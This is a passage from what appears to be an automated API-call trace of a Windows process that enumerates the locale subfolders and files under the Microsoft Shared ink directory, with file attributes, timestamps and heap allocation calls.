ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0072.064] GetProcessHeap () returned 0x550000 [0072.065] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0072.065] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.065] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.065] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.066] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.066] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.066] GetProcessHeap () returned 0x550000 [0072.066] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0072.066] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0072.066] GetProcessHeap () returned 0x550000 [0072.066] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0072.066] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.067] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.067] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.068] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.068] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.068] GetProcessHeap () returned 0x550000 [0072.068] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0072.068] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0072.068] GetProcessHeap () returned 0x550000 [0072.068] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0072.068] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.079] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.079] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.079] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.080] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.080] GetProcessHeap () returned 0x550000 [0072.080] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0072.080] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0072.080] GetProcessHeap () returned 0x550000 [0072.080] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0072.081] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.083] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.083] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.083] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.083] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.083] GetProcessHeap () returned 0x550000 [0072.084] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0072.084] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0072.084] GetProcessHeap () returned 0x550000 [0072.084] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0072.084] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.085] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.085] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.085] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.085] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.085] GetProcessHeap () returned 0x550000 [0072.085] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0072.085] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0072.086] GetProcessHeap () returned 0x550000 [0072.086] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0072.086] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.087] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.087] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.087] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.087] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.087] GetProcessHeap () returned 0x550000 [0072.087] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0072.087] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0072.088] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0072.088] GetProcessHeap () returned 0x550000 [0072.088] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0072.088] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.090] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.090] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.090] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.091] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.091] GetProcessHeap () returned 0x550000 [0072.091] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0072.091] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0072.091] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0072.093] GetProcessHeap () returned 0x550000 [0072.093] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0072.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.094] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.094] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.094] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, 